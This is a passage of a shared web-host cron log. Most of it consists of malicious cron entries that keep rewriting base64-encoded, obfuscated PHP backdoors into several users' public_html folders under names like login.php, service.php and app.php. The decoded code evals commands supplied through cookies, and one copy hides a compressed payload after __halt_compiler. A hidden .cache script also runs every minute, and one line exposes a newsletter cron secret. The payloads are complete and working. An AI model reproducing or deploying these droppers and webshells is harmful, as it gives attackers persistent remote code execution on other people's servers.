ZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:09:02 medusa CROND[16297]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:09:02 medusa CROND[16298]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 10:09:02 medusa CROND[16301]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:09:02 medusa CROND[16300]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 10:09:02 medusa CROND[16302]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:09:02 medusa CROND[16303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:09:02 medusa CROND[16305]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:09:02 medusa CROND[16306]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:09:02 medusa CROND[16320]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:10:01 medusa CROND[18147]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 10:10:01 medusa CROND[18148]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:10:01 medusa CROND[18150]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:10:01 medusa CROND[18151]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:10:01 medusa CROND[18153]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 10:10:01 medusa CROND[18152]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 10:10:01 medusa CROND[18154]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 10:10:01 medusa CROND[18155]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 10:10:01 medusa CROND[18149]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 10:10:01 medusa CROND[18160]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 10:10:01 medusa CROND[18161]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 10:10:01 medusa CROND[18156]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 10:10:01 medusa CROND[18165]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:10:01 medusa CROND[18166]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:10:01 medusa CROND[18168]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:10:01 medusa CROND[18169]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:10:01 medusa CROND[18173]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 10:10:01 medusa CROND[18174]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 10:10:01 medusa CROND[18179]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:10:02 medusa CROND[18180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:10:02 medusa CROND[18176]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 10:10:02 medusa CROND[18175]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 10:10:02 medusa CROND[18183]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:10:02 medusa CROND[18185]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:10:02 medusa CROND[18192]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 10:10:02 medusa CROND[18190]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 10:10:02 medusa CROND[18200]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 10:10:02 medusa CROND[18194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:11:01 medusa CROND[20225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:11:02 medusa CROND[20234]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 10:11:02 medusa CROND[20239]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 10:11:02 medusa CROND[20246]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:11:02 medusa CROND[20248]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:11:02 medusa CROND[20249]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:11:02 medusa CROND[20252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:11:02 medusa CROND[20253]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:11:02 medusa CROND[20255]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:11:02 medusa CROND[20258]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
